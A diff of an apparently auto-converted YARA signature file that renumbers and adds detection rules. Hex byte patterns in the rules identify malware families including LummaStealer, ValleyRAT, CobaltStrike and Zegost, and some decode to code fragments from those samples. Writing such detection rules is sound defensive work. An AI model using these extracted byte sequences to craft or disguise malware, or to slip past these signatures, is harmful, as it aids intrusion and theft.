1)*16675) >=1 } -rule _InfrastructureShared_5996{ +rule _InfrastructureShared_6291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62274,7 +65334,7 @@ rule _InfrastructureShared_5996{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5997{ +rule _InfrastructureShared_6292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62284,7 +65344,7 @@ rule _InfrastructureShared_5997{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5998{ +rule _InfrastructureShared_6293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62294,7 +65354,7 @@ rule _InfrastructureShared_5998{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5999{ +rule _InfrastructureShared_6294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62304,7 +65364,7 @@ rule _InfrastructureShared_5999{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6000{ +rule _InfrastructureShared_6295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62314,7 +65374,7 @@ rule _InfrastructureShared_6000{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6001{ +rule _InfrastructureShared_6296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62324,7 +65384,7 @@ rule _InfrastructureShared_6001{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6002{ +rule _InfrastructureShared_6297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62334,7 +65394,7 @@ rule _InfrastructureShared_6002{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6003{ +rule _InfrastructureShared_6298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62344,7 +65404,7 @@ rule _InfrastructureShared_6003{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6004{ +rule _InfrastructureShared_6299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62354,7 +65414,7 @@ rule _InfrastructureShared_6004{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6005{ +rule _InfrastructureShared_6300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62364,7 +65424,7 @@ rule _InfrastructureShared_6005{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6006{ +rule _InfrastructureShared_6301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62374,7 +65434,7 @@ rule _InfrastructureShared_6006{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6007{ +rule _InfrastructureShared_6302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62384,7 +65444,7 @@ rule _InfrastructureShared_6007{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6008{ +rule _InfrastructureShared_6303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62394,7 +65454,7 @@ rule _InfrastructureShared_6008{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6009{ +rule _InfrastructureShared_6304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62404,7 +65464,7 @@ rule _InfrastructureShared_6009{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6010{ +rule _InfrastructureShared_6305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62414,7 +65474,7 @@ rule _InfrastructureShared_6010{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6011{ +rule _InfrastructureShared_6306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62424,7 +65484,7 @@ rule _InfrastructureShared_6011{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6012{ +rule _InfrastructureShared_6307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62434,7 +65494,7 @@ rule _InfrastructureShared_6012{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6013{ +rule _InfrastructureShared_6308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62444,7 +65504,7 @@ rule _InfrastructureShared_6013{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6014{ +rule _InfrastructureShared_6309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62454,7 +65514,17 @@ rule _InfrastructureShared_6014{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6015{ +rule _InfrastructureShared_6310{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 47 48 21 4d 54 42 00 01 00 37 03 8b 55 ac 83 c2 90 01 01 89 55 90 01 01 81 7d 90 01 05 7d 90 01 01 8b 45 90 01 01 03 45 90 01 01 0f b6 08 83 f1 90 01 01 8b 55 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_6311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62464,7 +65534,7 @@ rule _InfrastructureShared_6015{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6016{ +rule _InfrastructureShared_6312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62474,7 +65544,7 @@ rule _InfrastructureShared_6016{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6017{ +rule _InfrastructureShared_6313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62484,7 +65554,7 @@ rule _InfrastructureShared_6017{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6018{ +rule _InfrastructureShared_6314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -62494,17 +65564,28 @@ rule _InfrastructureShared_6018{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6019{ +rule _InfrastructureShared_6315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 54 65 73 6c 61 37 21 4d 54 42 00 01 00 42 03 0a 16 9a 72 90 01 03 70 6f 90 01 03 0a 14 19 8d 90 01 03 01 25 16 7e 90 01 03 04 a2 25 17 7e 90 01 03 04 a2 25 18 72 90 01 03 70 a2 6f 90 01 03 0a 0b 16 28 90 01 03 0a 00 72 90 01 03 70 0c 2b 90 00 00 00 78 67 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 4c 65 63 70 65 74 } //21539 + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 54 65 73 6c 61 37 21 4d 54 42 00 01 00 42 03 0a 16 9a 72 90 01 03 70 6f 90 01 03 0a 14 19 8d 90 01 03 01 25 16 7e 90 01 03 04 a2 25 17 7e 90 01 03 04 a2 25 18 72 90 01 03 70 a2 6f 90 01 03 0a 0b 16 28 90 01 03 0a 00 72 90 01 03 70 0c 2b 90 00 00 00 78 67 00 00 01 00 01 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //21539 condition: ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6020{ +rule _InfrastructureShared_6316{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 69 74 74 6c 65 57 61 73 70 2e 41 21 64 68 61 00 01 00 1e 03 8b 0c 3e 2b 0d 90 01 04 8b 44 3e 04 1b 05 90 01 04 89 0e 8d 76 08 89 46 fc 83 eb 01 90 00 01 00 15 01 8a 4c 72 01 8a 04 72 c0 } //16675 + $a_0f_1 = {0a c8 88 0c 37 46 3b 75 10 00 00 78 67 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 4c 65 63 70 65 74 65 78 } //1249 + condition: + ((#a_46_0 & 1)*16675+(#a_0f_1 & 1)*1249) >=1 + +} +rule _InfrastructureShared_6317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -62514,7 +65595,7 @@ rule _InfrastructureShared_6020{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6021{ +rule _InfrastructureShared_6318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -62525,7 +65606,7 @@ rule _InfrastructureShared_6021{ ((#a_54_0 & 1)*18467+(#a_eb_1 & 1)*656) >=1 } -rule _InfrastructureShared_6022{ +rule _InfrastructureShared_6319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -62536,7 +65617,7 @@ rule _InfrastructureShared_6022{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*17234) >=1 } -rule _InfrastructureShared_6023{ +rule _InfrastructureShared_6320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -62547,7 +65628,7 @@ rule _InfrastructureShared_6023{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*12851) >=1 } -rule _InfrastructureShared_6024{ +rule _InfrastructureShared_6321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -62558,7 +65639,7 @@ rule _InfrastructureShared_6024{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*15105) >=1 } -rule _InfrastructureShared_6025{ +rule _InfrastructureShared_6322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -62570,41 +65651,81 @@ rule _InfrastructureShared_6025{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*29281+(#a_31_2 & 1)*8526) >=1 } -rule _InfrastructureShared_6026{ +rule _InfrastructureShared_6323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 6c 31 5f 64 69 76 5f 30 34 00 01 00 10 03 c7 45 c8 a2 b2 85 4d 90 0a 17 00 89 7d c4 90 00 01 00 0f 03 c7 45 c8 a2 b2 85 4d 90 02 10 89 7d cc 90 00 01 00 07 01 c7 } //18467 - $a_9c_1 = {04 00 00 78 67 00 00 01 00 01 00 03 00 21 23 55 45 46 49 5f 41 50 49 5f 63 72 65 61 74 65 5f 6e 65 77 5f 66 69 6c 65 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 90 01 12 ff 90 01 01 08 90 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 90 01 0b ff 90 01 01 08 90 00 01 00 10 03 41 b9 03 00 00 00 90 01 0b ff 90 01 01 08 90 00 00 00 78 67 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 } //-9147 - $a_41_2 = {4d 54 42 00 02 00 38 01 06 07 a3 25 00 00 01 0c 08 6f 41 01 00 0a 72 48 1a 00 70 28 b5 00 00 0a 2c 14 08 72 94 1a 00 70 20 00 01 00 00 14 14 14 6f 42 01 00 0a 26 07 17 58 0b 07 06 8e 69 32 c8 00 00 78 67 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 } //21294 + $a_9c_1 = {04 00 00 78 67 00 00 01 00 01 00 03 00 21 23 55 45 46 49 5f 41 50 49 5f 63 72 65 61 74 65 5f 6e 65 77 5f 66 69 6c 65 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 90 01 12 ff 90 01 01 08 90 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 90 01 0b ff 90 01 01 08 90 00 01 00 10 03 41 b9 03 00 00 00 90 01 0b ff 90 01 01 08 90 00 00 00 78 67 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 53 57 } //-9147 + $a_54_2 = {00 02 00 3b 01 11 08 11 0a 8f 14 00 00 01 25 71 14 00 00 01 08 d2 61 d2 81 14 00 00 01 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 08 8e 69 32 c5 00 00 78 67 00 00 02 00 02 00 01 00 21 } //8513 condition: - ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*-9147+(#a_41_2 & 1)*21294) >=1 + ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*-9147+(#a_54_2 & 1)*8513) >=1 } -rule _InfrastructureShared_6027{ +rule _InfrastructureShared_6324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " strings : $a_46_0 = {5f 41 50 49 5f 63 72 65 61 74 65 5f 6e 65 77 5f 66 69 6c 65 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? 08 90 00 01 00 14 03 49 b9 03 00 00 00 00 00 00 80 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? 08 } //21795 $a_03_1 = {41 b9 03 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? 08 } //1 - $a_67_2 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 53 57 41 21 4d 54 42 00 02 00 38 01 06 07 a3 25 00 00 01 0c 08 6f 41 01 00 0a 72 48 1a 00 70 28 b5 00 00 0a 2c 14 08 72 94 1a 00 70 20 00 01 00 00 14 14 14 6f 42 01 00 0a 26 07 17 58 0b 07 06 8e 69 32 c8 00 00 78 67 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a } //0 + $a_67_2 = {00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 53 57 41 21 4d 54 42 00 02 00 3b 01 11 08 11 0a 8f 14 00 00 01 25 71 14 00 00 01 08 d2 61 d2 81 14 00 00 01 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 08 8e 69 32 c5 00 00 78 67 00 00 02 00 02 00 01 00 21 23 53 4c 46 3a } //0 condition: ((#a_46_0 & 1)*21795+(#a_03_1 & 1)*1+(#a_67_2 & 1)*0) >=1 } -rule _InfrastructureShared_6028{ +rule _InfrastructureShared_6325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 53 57 41 21 4d 54 42 00 02 00 38 01 06 07 a3 25 00 00 01 0c 08 6f 41 01 00 0a 72 48 1a 00 70 28 b5 00 00 0a 2c 14 08 72 94 1a 00 70 20 00 01 00 00 14 14 14 6f 42 01 } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 72 79 73 2e 53 57 41 21 4d 54 42 00 02 00 3b 01 11 08 11 0a 8f 14 00 00 01 25 71 14 00 00 01 08 d2 61 d2 81 14 00 00 01 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 } //16675 condition: ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6029{ +rule _InfrastructureShared_6326{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 61 72 69 7a 61 2e 41 52 41 4e 21 4d 54 42 00 02 00 38 01 43 8d 0c 10 49 8b d3 80 e1 07 c0 e1 03 48 d3 ea 41 0f b6 c8 41 30 50 ff 41 2a c9 80 e1 07 49 8b d3 c0 e1 03 48 d3 ea 41 30 10 49 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_6327{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 6c 69 63 6b 65 72 2e 43 49 21 4d 54 42 00 02 00 3a 03 72 8d 00 00 70 03 7e 90 01 01 00 00 04 25 2d 17 26 7e 90 01 01 00 00 04 fe 06 41 00 00 06 73 29 00 00 0a 25 80 11 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6328{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 61 6c 61 74 2e 43 5a 4c 4f 21 4d 54 42 00 02 00 3a 03 d0 01 00 00 02 28 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 72 90 01 02 00 70 6f 90 01 01 00 00 0a 0a 06 6f 90 01 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6329{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 45 42 49 55 21 4d 54 42 00 02 00 39 03 26 17 13 05 2b be 16 0a 18 13 05 2b b7 04 03 61 1f 4d 59 06 61 45 01 00 00 00 06 00 00 00 1f 0b 13 05 2b a0 1b } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62615,7 +65736,7 @@ rule _InfrastructureShared_6029{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29505) >=2 } -rule _InfrastructureShared_6030{ +rule _InfrastructureShared_6331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62626,7 +65747,7 @@ rule _InfrastructureShared_6030{ ((#a_46_0 & 1)*16675+(#a_ff_1 & 1)*-25726) >=2 } -rule _InfrastructureShared_6031{ +rule _InfrastructureShared_6332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62637,29 +65758,50 @@ rule _InfrastructureShared_6031{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*-28643) >=2 } -rule _InfrastructureShared_6032{ +rule _InfrastructureShared_6333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 5a 65 67 6f 73 74 21 76 61 72 00 01 00 0f 03 fe ff ff 47 68 30 73 90 09 03 00 c7 85 90 00 01 00 27 03 4d 32 36 33 c7 45 90 01 01 49 56 33 32 c7 45 90 01 01 4d 50 34 32 c7 45 90 01 01 63 76 69 64 90 09 } //18467 - $a_45_1 = {00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 42 61 6e 6c 6f 61 64 2e 42 43 57 00 01 00 23 02 65 72 61 73 65 20 22 25 73 22 90 02 20 69 66 20 65 78 69 73 74 20 22 25 73 22 20 67 6f 74 6f 20 31 90 00 01 00 21 00 8b 55 f0 8b 83 60 03 00 00 8b 80 70 02 00 00 8b 08 ff 51 38 8d 4d ec 8b 83 60 03 00 00 8b 80 70 02 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 2e 41 00 01 00 18 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 2e 41 74 74 72 69 62 75 74 65 73 01 00 18 01 50 6f 77 65 72 65 64 20 } //3 + $a_45_1 = {00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 42 61 6e 6c 6f 61 64 2e 42 43 57 00 01 00 23 02 65 72 61 73 65 20 22 25 73 22 90 02 20 69 66 20 65 78 69 73 74 20 22 25 73 22 20 67 6f 74 6f 20 31 90 00 01 00 21 00 8b 55 f0 8b 83 60 03 00 00 8b 80 70 02 00 00 8b 08 ff 51 38 8d 4d ec 8b 83 60 03 00 00 8b 80 70 02 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 33 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 } //3 condition: ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*3) >=2 } -rule _InfrastructureShared_6033{ +rule _InfrastructureShared_6334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 42 61 6e 6c 6f 61 64 2e 42 43 57 00 01 00 23 02 65 72 61 73 65 20 22 25 73 22 90 02 20 69 66 20 65 78 69 73 74 20 22 25 73 22 20 67 6f 74 6f 20 31 90 00 01 00 21 00 8b 55 f0 8b 83 60 03 00 00 8b 80 70 02 00 00 8b 08 ff 51 38 8d 4d ec 8b 83 60 03 } //18467 - $a_80_1 = {02 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 6f 72 2e 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 2e 41 00 01 00 18 01 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 2e 41 74 74 72 69 62 75 74 65 73 01 00 18 01 50 6f 77 65 72 65 64 20 62 79 20 53 6d 61 72 74 41 73 73 65 6d 62 6c 79 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 } // 0 + $a_80_1 = {02 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 33 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 01 02 00 00 10 00 00 00 00 05 90 00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 } // 0 condition: ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*0) >=2 } -rule _InfrastructureShared_6034{ +rule _InfrastructureShared_6335{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 33 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 06 90 01 11 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 90 01 02 00 00 10 00 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_6336{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 52 48 34 00 01 00 17 03 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 90 01 1a 40 00 00 e0 90 00 01 00 28 03 50 45 00 00 4c 01 90 01 12 0b 01 0e 1d 00 f2 04 00 00 90 01 02 00 00 00 00 00 00 90 01 02 00 00 10 00 } //18467 + $a_05_1 = {90 00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*0) >=2 + +} +rule _InfrastructureShared_6337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62670,7 +65812,7 @@ rule _InfrastructureShared_6034{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*25971) >=2 } -rule _InfrastructureShared_6035{ +rule _InfrastructureShared_6338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62681,7 +65823,7 @@ rule _InfrastructureShared_6035{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*0) >=2 } -rule _InfrastructureShared_6036{ +rule _InfrastructureShared_6339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62692,7 +65834,7 @@ rule _InfrastructureShared_6036{ ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*400) >=2 } -rule _InfrastructureShared_6037{ +rule _InfrastructureShared_6340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62703,7 +65845,7 @@ rule _InfrastructureShared_6037{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28271) >=2 } -rule _InfrastructureShared_6038{ +rule _InfrastructureShared_6341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -62714,18 +65856,29 @@ rule _InfrastructureShared_6038{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29811) >=2 } -rule _InfrastructureShared_6039{ +rule _InfrastructureShared_6342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 48 43 21 4d 54 42 00 01 00 10 03 8a 44 0d eb 30 44 0d 90 01 01 49 85 c9 7f 90 00 01 00 20 03 8a 0a 8d 52 90 01 01 8a 42 90 01 01 30 4a 90 01 01 32 c1 } //21283 - $a_01_1 = {01 83 ee 90 01 01 75 90 00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 49 43 4c 6f 61 64 65 72 00 01 00 1a 11 50 d8 c4 d8 c3 d3 d0 dc ca 58 d8 c2 d9 f7 df 5d fe e0 ed 66 83 7d fe 00 75 05 01 00 20 11 c6 45 d0 53 c6 45 d1 65 c6 45 d2 63 c6 45 d3 75 c6 45 d4 72 c6 45 d5 69 c6 45 d6 74 c6 45 d7 69 00 00 78 67 00 00 02 00 02 00 02 00 21 23 56 69 72 54 6f 6f 6c 3a 4d 53 49 4c 2f 4f } //17032 + $a_01_1 = {01 83 ee 90 01 01 75 90 00 00 00 78 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 54 59 21 4d 54 42 00 01 00 19 03 4c 8b 11 4d 3b c2 74 90 01 01 48 ff c0 48 83 c1 90 01 01 48 3b c2 72 90 00 01 00 17 01 33 d2 48 8b c3 49 f7 f1 0f b6 04 0a 41 30 04 1a 48 ff c3 49 3b d8 72 00 00 78 67 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 } //17032 condition: ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*17032) >=2 } -rule _InfrastructureShared_6040{ +rule _InfrastructureShared_6343{ + meta: 